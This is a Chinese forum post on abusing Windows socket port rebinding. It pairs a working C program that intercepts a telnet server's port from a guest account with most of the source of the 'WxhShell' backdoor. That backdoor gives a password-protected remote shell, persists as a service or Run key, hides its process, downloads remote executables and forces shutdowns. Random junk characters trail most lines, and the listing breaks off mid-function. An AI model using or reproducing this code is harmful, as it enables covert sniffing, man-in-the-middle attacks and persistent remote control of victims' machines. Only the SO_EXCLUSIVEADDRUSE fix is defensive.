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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: * +wW(#[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !&Pui{F  
D #/Bx[  
  saddr.sin_family = AF_INET; [ps*uva  
jMDY(mwt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <1COZ)   
9RI-Lq`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); HOh!Xcu  
CWP2{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .k \@zQ|Ta  
u=_mvN  
  这意味着什么?意味着可以进行如下的攻击: t@Nyr&|D  
Dl8;$~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M {Q;:  
qWKAM@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]P2"[y  
|qZ1|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [=]4-q6UN  
M[112%[+4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y Ej^=pw  
`I5wV/%ib  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [,KXze_m  
Ezv Y"T@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Gm.]sE?.  
6qd\)q6T&x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 78%~N`x7  
<nK?LcP  
  #include mcX/GO}  
  #include 9lDhIqx0~  
  #include = +?7''{>  
  #include    r_;N t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =6|&Jt  
  int main() g^ i&gNDx  
  { ; p{[1  
  WORD wVersionRequested; _W'-+,  
  DWORD ret; \A6B,|@  
  WSADATA wsaData; :'&brp3ii=  
  BOOL val; Zdo'{ $  
  SOCKADDR_IN saddr; HuKc9U'7A  
  SOCKADDR_IN scaddr; k/gZ,  
  int err; gy9U2Wgf|  
  SOCKET s; _1L![-ac  
  SOCKET sc; }:*]aL<7_  
  int caddsize; x*&|0n.D  
  HANDLE mt; Ziu]'#  
  DWORD tid;   nSAdCJ;4  
  wVersionRequested = MAKEWORD( 2, 2 ); wtV#l4  
  err = WSAStartup( wVersionRequested, &wsaData ); fCobzDy  
  if ( err != 0 ) { g]yBA7/S"  
  printf("error!WSAStartup failed!\n"); yU}qOgXx  
  return -1; 8d-t|HkN  
  } df#$ 9 -  
  saddr.sin_family = AF_INET; :e%Pvk  
   1!T1Y,w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =-lb)Z"d  
u21EP[[,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P0PWJ^+,+  
  saddr.sin_port = htons(23); KX7 >^Bt&k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,47Y9Kz9  
  { D^3vr2  
  printf("error!socket failed!\n"); l9u!aD  
  return -1; FA3~|Zg  
  } 'V=P*#|SR  
  val = TRUE; =j*$ |X3W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jc f #6   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) EeRX+BM,  
  { c[1oww  
  printf("error!setsockopt failed!\n"); BV upDGh3  
  return -1; !*. -`$x  
  } .oUTqki  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6s/&BR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?+a,m# Yx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `eCo~(F y  
8-%TC\:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^ tg<K  
  { wInh~p  
  ret=GetLastError(); %vhnl'  
  printf("error!bind failed!\n"); xJ)n4)  
  return -1; z(^]J`+\  
  } .:QLk&a,:,  
  listen(s,2); aL&7 1^R,  
  while(1) ,1CIBFY  
  { !XCm>]R  
  caddsize = sizeof(scaddr); krvp&+uX  
  //接受连接请求 I\[_9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z%/=|[9i  
  if(sc!=INVALID_SOCKET) }YNR"X9*)/  
  { aAMVsE{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C-MjJ6D<  
  if(mt==NULL) zvH8^1yzG  
  { 4'A!; ]:  
  printf("Thread Creat Failed!\n"); 2=`o_<P'"  
  break; l6 H|PR{  
  } \(Y\|zC'0$  
  } e`xdSi>E  
  CloseHandle(mt); mFaZio0GK  
  } D(RTVef  
  closesocket(s); c%G{#}^2  
  WSACleanup(); /M4{Wc  
  return 0; c>Xs&_  
  }   QY?~ZwYB  
  DWORD WINAPI ClientThread(LPVOID lpParam) j; y#[|  
  { (l- ab2'  
  SOCKET ss = (SOCKET)lpParam; YccH+[X;  
  SOCKET sc; H'HA+q  
  unsigned char buf[4096]; q $tUH)0  
  SOCKADDR_IN saddr; s`'{I8'p/  
  long num; ?Yk.$90  
  DWORD val; ?>rW>U6:P  
  DWORD ret; ~W+kiTsD?  
  //如果是隐藏端口应用的话,可以在此处加一些判断  &NK,VB;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S4Ww5G?.  
  saddr.sin_family = AF_INET; &*G #H~\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W=vP]x >J  
  saddr.sin_port = htons(23); IrhA+)pdse  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QPg8;O  
  { iQ fJ  
  printf("error!socket failed!\n"); C3],n   
  return -1; i/ )am9  
  } Te wb?:  
  val = 100; a$"Hvrj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P} SCF  
  { N@1+O,o  
  ret = GetLastError(); oxkoA  
  return -1; 1Y@Aixx  
  } OFv%B/O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TQ*1L:X7M&  
  { V(6Z3g  
  ret = GetLastError(); /1Q(b  
  return -1; Yc `)R  
  } jWl)cC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lWc:$qnR-K  
  { )V6Hl@v  
  printf("error!socket connect failed!\n"); Id|L`  w  
  closesocket(sc); Hx*;jpy(2  
  closesocket(ss); tEKmy7'#  
  return -1; }w<7.I  
  } S.m{eur!,E  
  while(1) ,J>5:ht(6  
  { 3.W@ }   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3#&7-o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O_ DtvjI'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6%Pdy$ P  
  num = recv(ss,buf,4096,0); Vz~nT  
  if(num>0) |J} Mgb-4  
  send(sc,buf,num,0); fb8g7H|  
  else if(num==0) uv(Sdiir8  
  break; t&CJ% XP  
  num = recv(sc,buf,4096,0); gy0haW   
  if(num>0) .#Z%1U%P.  
  send(ss,buf,num,0); #9xd[A : N  
  else if(num==0) m{uxI za  
  break; )3w@]5j  
  } % !>I*H  
  closesocket(ss); g,95T Bc  
  closesocket(sc); aL%AQB,  
  return 0 ; muZ~*kMc  
  } 9Hu/u=vB<  
JSW}*HR  
X+}1  
========================================================== "4H +!r}  
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下边附上一个代码,,WXhSHELL V<@ o<R  
k"]dK,,  
========================================================== _/!y)&4"  
;z:UN}  
#include "stdafx.h" \":m!K;Z  
 &8_gRP  
#include <stdio.h> <U >>ZSi  
#include <string.h> ?)X,0P'  
#include <windows.h> )'%$V%9  
#include <winsock2.h> Upd3-2kr&J  
#include <winsvc.h> #KXa&C  
#include <urlmon.h> 8C~]yd  
xA$nsZ]  
#pragma comment (lib, "Ws2_32.lib") l0cA6b  
#pragma comment (lib, "urlmon.lib") ~-m"   
I_rO!  
#define MAX_USER   100 // 最大客户端连接数 fCtPu08{Z  
#define BUF_SOCK   200 // sock buffer <-S%kA8  
#define KEY_BUFF   255 // 输入 buffer J@X'PG< 6B  
";Rtiiu  
#define REBOOT     0   // 重启 $8[r9L!  
#define SHUTDOWN   1   // 关机 }S$@ Ez6  
UE ,t8j  
#define DEF_PORT   5000 // 监听端口 OYmR<x5y/  
4NG?_D5&  
#define REG_LEN     16   // 注册表键长度 ux3<l+jv^  
#define SVC_LEN     80   // NT服务名长度 wG< (F}VX  
:!b'Vk  
// 从dll定义API `poE6\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LLXVNO@e+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (RZD'U/B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .j>hI="b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @kU@N?5e  
bk^TFE1l  
// wxhshell配置信息 I=9!Rs(QF  
struct WSCFG { +d!v}aJ  
  int ws_port;         // 监听端口 %\r!7@Q  
  char ws_passstr[REG_LEN]; // 口令 ez!C?  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8o 0%@5M  
  char ws_regname[REG_LEN]; // 注册表键名 09kt[  
  char ws_svcname[REG_LEN]; // 服务名 h!:~f-@j4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hk;7:G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (BfgwC)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /2Bi@syxK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S"k *6 U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'hv k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qt^T6+faaQ  
^=SD9V  
}; 5-0{+R5v  
9*=W-v  
// default Wxhshell configuration e|D ;OM  
struct WSCFG wscfg={DEF_PORT, mL`5u f  
    "xuhuanlingzhe", w{90`  
    1, z7Eg5rm|QZ  
    "Wxhshell", g HbxgeL  
    "Wxhshell", 6 ]pX>Xho  
            "WxhShell Service", -7&Gi +]  
    "Wrsky Windows CmdShell Service", D<X.\})Md  
    "Please Input Your Password: ", D"ehWLj  
  1, ZwerDkd  
  "http://www.wrsky.com/wxhshell.exe", NDAw{[.%  
  "Wxhshell.exe" #\ n8M  
    }; 0#*#a13  
_#}n~}d  
// 消息定义模块 PF7&p~O(Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JA_BKA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g{9+O7q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -,{-bi  
char *msg_ws_ext="\n\rExit."; ]B]*/  
char *msg_ws_end="\n\rQuit."; U Gpu\TB  
char *msg_ws_boot="\n\rReboot..."; x5WW--YR+  
char *msg_ws_poff="\n\rShutdown..."; N**g]T 0`  
char *msg_ws_down="\n\rSave to "; ee#): -p  
4T<Lgb  
char *msg_ws_err="\n\rErr!"; )){9&5,0:  
char *msg_ws_ok="\n\rOK!"; IMl!,(6;  
^~HQC*  
char ExeFile[MAX_PATH]; [j:[  
int nUser = 0; :C8$Xi_i}  
HANDLE handles[MAX_USER]; gxMfu?zk"  
int OsIsNt; w L^%w9q-  
l-$uHHyu*  
SERVICE_STATUS       serviceStatus; hyT1xa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k8uvNLA)a  
{E0z@D)U-  
// 函数声明 LW:LFzp  
int Install(void); D^;*U[F?  
int Uninstall(void); ed_FiQd  
int DownloadFile(char *sURL, SOCKET wsh); *d',Vuv&[  
int Boot(int flag); "AhTH.ZP  
void HideProc(void); G>+1*\c  
int GetOsVer(void); >xn}N6Rj2~  
int Wxhshell(SOCKET wsl); ulJX1I=|p  
void TalkWithClient(void *cs); n%\ /J  
int CmdShell(SOCKET sock); AVU>+[.=%c  
int StartFromService(void); hw~a:kD  
int StartWxhshell(LPSTR lpCmdLine); yj(vkifEB  
5+jf/}t A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [ dE.[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *cg( ?yg  
S"hTE7`   
// 数据结构和表定义 S$^ RbI  
SERVICE_TABLE_ENTRY DispatchTable[] = =@5x"MOz  
{ Iu35#j  
{wscfg.ws_svcname, NTServiceMain}, E|$Oha[  
{NULL, NULL} vHE^"l5v  
}; K!mOr  
b]JI@=s?  
// 自我安装 ,*@AX>  
int Install(void) NCf"tK'5n  
{ oq_6L\ ~  
  char svExeFile[MAX_PATH]; EIf ~dOgH  
  HKEY key; \OpoBXh  
  strcpy(svExeFile,ExeFile); #s%-INcR  
?<yM7O,4  
// 如果是win9x系统,修改注册表设为自启动 Lh-`OmO0>F  
if(!OsIsNt) { WmQ 01v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )*d W=r/$V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A;u"<KG?  
  RegCloseKey(key); 5]1h8PW!Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pBC<u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xT)psM'CL  
  RegCloseKey(key); .\qj;20W  
  return 0; 90Hjx>[  
    } *$M'`vj:  
  } V8~jf-\$b  
} U#o'H @  
else { 6R29$D|HFO  
*AIEl"29  
// 如果是NT以上系统,安装为系统服务 9=/N|m8.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Bz`yfl2  
if (schSCManager!=0) )P>u9=?,=E  
{ /+3a n9h  
  SC_HANDLE schService = CreateService N6[i{;K@N{  
  ( 5b6s4ZyV  
  schSCManager, ,s^<X85gp\  
  wscfg.ws_svcname, 6dEyv99  
  wscfg.ws_svcdisp, -)y%~Zn  
  SERVICE_ALL_ACCESS, ib0g3p-Lc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #9LzY  
  SERVICE_AUTO_START, {hO`6mr&t  
  SERVICE_ERROR_NORMAL, t=#Pya  
  svExeFile, @l UlY2  
  NULL, VRW] a  
  NULL, AP\ofLmq  
  NULL, v1.q$ f^(  
  NULL, Us~ X9n_F  
  NULL !z zW2>  
  ); qYp$fmj  
  if (schService!=0) efuK  
  { 8)\M:s~7&  
  CloseServiceHandle(schService); qOG}[%<^n7  
  CloseServiceHandle(schSCManager); [W,-1.$!dM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n|4;Hn1V  
  strcat(svExeFile,wscfg.ws_svcname); hD<f3_k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wp.TfKxw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G;oFTP>o  
  RegCloseKey(key); ]PNow S\  
  return 0; <Jp1A# %p  
    } fj'j NE  
  } C6& ( c  
  CloseServiceHandle(schSCManager); YTU.$t;Ez  
} .#5l$['  
} &}`K^5K|O:  
$'[q4wo<  
return 1;  \`xkp[C  
} y02 u?wJ  
\`,xgC9K  
// 自我卸载 Ca$c;  
int Uninstall(void) RwTzz] M  
{ qA/bg  
  HKEY key; oaDsk<(j;R  
H"+c)FGi  
if(!OsIsNt) { R.1Xst &i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M} .b" ljZ  
  RegDeleteValue(key,wscfg.ws_regname); oVB"f  
  RegCloseKey(key); b5e@oIK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uiBTnG"  
  RegDeleteValue(key,wscfg.ws_regname); I*1S/o_xI  
  RegCloseKey(key); :nQp.N*p  
  return 0; RFG$X-.e  
  } qvLDfN  
} C 7n Kk/r  
} a]VGUW-  
else { $<ddy/4  
S@:B6](D$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U 0ZB^`  
if (schSCManager!=0) :LV.G0)#  
{ Ls: =A6AGM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wTpD1"_R  
  if (schService!=0) @%@zH%b  
  { mPmB6q%)]  
  if(DeleteService(schService)!=0) { \].J-^=  
  CloseServiceHandle(schService); WSI Xj5R  
  CloseServiceHandle(schSCManager); (Imp $  
  return 0; IG / $!* E  
  } =wA5P@  
  CloseServiceHandle(schService); Rk<%r k  
  } DA LQ<iF  
  CloseServiceHandle(schSCManager); EE%s<_k`  
} Ob(leL>ow  
} bx(w :]2  
M@^U 0 ?  
return 1; V8'`nuC+  
} U4wpjHg  
xVR:; Jy[  
// 从指定url下载文件 _9h.Gt  
int DownloadFile(char *sURL, SOCKET wsh) [b5(XIGUN}  
{ lvufkVG|  
  HRESULT hr; X N;/nU  
char seps[]= "/"; pVOI5>f\  
char *token; E8tD)=1  
char *file; y-cw~kNPP3  
char myURL[MAX_PATH]; /{G/|a  
char myFILE[MAX_PATH]; YhgUCF#  
d1NE%hg3  
strcpy(myURL,sURL); OKQLv+q5K)  
  token=strtok(myURL,seps); KF{a$d  
  while(token!=NULL) La}o(7 =s  
  { POBpJg  
    file=token; _ +KmNfR  
  token=strtok(NULL,seps); glor+  
  } >RR<eYu7m  
#S i|!  
GetCurrentDirectory(MAX_PATH,myFILE); 3Hm7 uBZ  
strcat(myFILE, "\\"); caD5Pod4  
strcat(myFILE, file); ,35Ag#va  
  send(wsh,myFILE,strlen(myFILE),0); deM~[1e[  
send(wsh,"...",3,0); ~N[|bPRmhE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3zb)"\(R  
  if(hr==S_OK) bhKV +oN  
return 0; slSR=XOG  
else zH+<bEo=1=  
return 1; P|N?OocE  
tQ0=p| T]  
} ]hUKuef  
y#r\b6  
// 系统电源模块 6{^*JC5nj  
int Boot(int flag) 3o7xN=N  
{ B&nw#saz.  
  HANDLE hToken; v@,XinB[  
  TOKEN_PRIVILEGES tkp; :bw6k  
3"B+xbe=  
  if(OsIsNt) { ' C6:e?R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y~GUR&ww0n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w)<4>(D  
    tkp.PrivilegeCount = 1; m~Me^yt>}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nh|EZp]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Spc&X72I  
if(flag==REBOOT) { R`7n^,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c'lIWuL)  
  return 0; B'/Icg.T  
} ) ]]|d  
else { h*l4Y!7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h *waRD  
  return 0; a^*B5G1(&  
} | /#'S&!U  
  } ;q&Z9 lm  
  else { [EOMCH2Ki  
if(flag==REBOOT) { w}b<D#0XC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GFY-IC+fc  
  return 0; 'Ix5,^M}B  
} Fi k@hu  
else { Q^q=!/qQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j%Gbg J  
  return 0; {"\q(R0  
} N  I3(  
} _"v~"k 90^  
:28@J?jjO  
return 1; S `wE$so>  
} S r[IoF)  
zCM^r <Kr  
// win9x进程隐藏模块 ! fX9*0L  
void HideProc(void) ty9rH=1  
{ Z#@6#S`  
l^BEFk;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \)s3b/oap  
  if ( hKernel != NULL ) 9OhR4 1B  
  { yx 7loy$[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;HT0w_,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F94V5_[  
    FreeLibrary(hKernel); L<"k 7)k  
  } Cea"qNq=k  
|H<|{{E  
return; n=r= u'oi  
} 0 c, bet{m  
dgm+U%E  
// 获取操作系统版本 }P16Xb)p  
int GetOsVer(void) % M+s{ l  
{ pV_}Or_  
  OSVERSIONINFO winfo; x1:vUHwC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lW&[mnR  
  GetVersionEx(&winfo); 6WCmp,*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KdS eCeddW  
  return 1; frk7^5  
  else 8QPT\~  
  return 0; "{mt?  
} )ZviS.  
Ep,1}Dx  
// 客户端句柄模块 Za34/ro/T  
int Wxhshell(SOCKET wsl) -wBnwn-  
{ Y<de9Z@  
  SOCKET wsh; IZ|c <#r6  
  struct sockaddr_in client; dV$3u"9  
  DWORD myID; nO-d" S*  
2}GKHC  
  while(nUser<MAX_USER) G) jG!`I  
{ [6oq##  
  int nSize=sizeof(client); xqU^I5Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -fhAtxkg  
  if(wsh==INVALID_SOCKET) return 1; jDFp31_X  
J,6!7a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bfu/9ad  
if(handles[nUser]==0)  KhLg*EL  
  closesocket(wsh); Mi_[9ku>%  
else 9#s,K! !3{  
  nUser++; nz}]C04:-  
  } 5ZZd.9ZgM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l85O-g}M  
mMn2(  
  return 0; yo'q[YtP'  
} gt#MeU  
Cq TH!'N  
// 关闭 socket ]w5ji  
void CloseIt(SOCKET wsh) |>M-+@g j  
{ ;CLR{t(N#V  
closesocket(wsh); ngtuYASc  
nUser--; t- !h X/  
ExitThread(0); aA7S'[NjB  
} Yjpb+}  
9Kq<\"7Bmz  
// 客户端请求句柄 27}.s0{D  
void TalkWithClient(void *cs) 4u7c7K>\Y  
{ m>g}IX&K'  
o:p{^D@#k  
  SOCKET wsh=(SOCKET)cs; (D:KqGqoT  
  char pwd[SVC_LEN]; tzx:*  
  char cmd[KEY_BUFF]; 2pVVoZV.<  
char chr[1]; j*zB { s K  
int i,j; sxf}Mmsk  
ADuZ}]  
  while (nUser < MAX_USER) {  gvvFU,2  
@WMj^t1D+  
if(wscfg.ws_passstr) { V6A5(-%`y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +#&el//  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O@G<B8U,K  
  //ZeroMemory(pwd,KEY_BUFF); 1uKD&k%q  
      i=0; = ?y^O0v  
  while(i<SVC_LEN) { g{rt^B  
I8XGU)  
  // 设置超时 yz54:q?  
  fd_set FdRead; @G^j8Nl+J}  
  struct timeval TimeOut; :YkDn~@  
  FD_ZERO(&FdRead); M'pY-/.  
  FD_SET(wsh,&FdRead); 7{?lEQ&UE  
  TimeOut.tv_sec=8; BBaHM sr  
  TimeOut.tv_usec=0; sE(X:[Am  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .D>A'r8U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \ x>NB  
}xpe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g)2m$#T&s  
  pwd=chr[0]; Fj[ dO&  
  if(chr[0]==0xd || chr[0]==0xa) { Lh8# I&x  
  pwd=0; THegPD67J  
  break; s?1-$|*  
  } iPRJA{$b_  
  i++; U"jUMOMZ;  
    } <m|FccvQ  
Vs2v j  
  // 如果是非法用户,关闭 socket krnvFZRTQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N^nDWK  
} EBN]>zz  
C.B8 J"T-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;jpw"-J`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r;@:S~  
LIm$Wl1U  
while(1) { ^hGZVGSv  
LNsE7t  
  ZeroMemory(cmd,KEY_BUFF); D/ NIn=>j  
arpJiG~JR  
      // 自动支持客户端 telnet标准   gK]T}  
  j=0; 'Q^G6'(SaK  
  while(j<KEY_BUFF) { oW\Q>c7 =  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r zc 3k~@  
  cmd[j]=chr[0]; % B7?l  
  if(chr[0]==0xa || chr[0]==0xd) { AZBY, :>D  
  cmd[j]=0; ]G$!/vXP  
  break; ;NvhL|R  
  } lcuH]z  
  j++; {Hrr:hC  
    } OP\^c  
O~c+$(  
  // 下载文件 ~a0d .dU  
  if(strstr(cmd,"http://")) { r;5 AY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]VO,} `  
  if(DownloadFile(cmd,wsh)) 0^|$cvYiL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }b\ipA,~  
  else *(_ON$+3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -h.3M0  
  } "X!_37kQ  
  else { AH ?MJKY@Z  
&El[  
    switch(cmd[0]) { g tSHy*3]  
  g]TI8&tP!L  
  // 帮助 123-i,epg  
  case '?': { P dE)m/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dzk?Zg  
    break; >u%[J!Y;;  
  } C$EFh4  
  // 安装 hyr5D9d  
  case 'i': { _ 3-,3ia  
    if(Install()) ~"hAb2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hPX2 Bp  
    else ))we\I__8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `04Y ;@w  
    break; $4fjSSB~  
    } $;g%S0:3)  
  // 卸载 q0xE&[C[M  
  case 'r': {  _j?=&tc  
    if(Uninstall()) tL 9e~>,`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 55)ep  
    else xDAA`G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v6, o/3Ex  
    break; EJ[iOYx  
    } :EmMia-)J  
  // 显示 wxhshell 所在路径 Ky{I&}+R|  
  case 'p': { kK_>*iCMo  
    char svExeFile[MAX_PATH]; 374_G?t&  
    strcpy(svExeFile,"\n\r"); ;Ef)7GE@\[  
      strcat(svExeFile,ExeFile); z8rh*Rfxd  
        send(wsh,svExeFile,strlen(svExeFile),0); gJ}'O4*b  
    break; m'vOFP)'  
    } v \L Ip  
  // 重启 OYCFx2{  
  case 'b': { ,4?|}xg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hJL0M!  
    if(Boot(REBOOT)) EJiF_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;z=C^'  
    else { :8/M6-EK  
    closesocket(wsh); OW5|oG  
    ExitThread(0); \c`r9H^v{  
    } R;I-IZS:  
    break; $DMu~wwfG  
    } _jI)!rfb  
  // 关机 >0G}, S  
  case 'd': { RM=+ZmA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xsypIbN  
    if(Boot(SHUTDOWN)) 2%, ' }Bus  
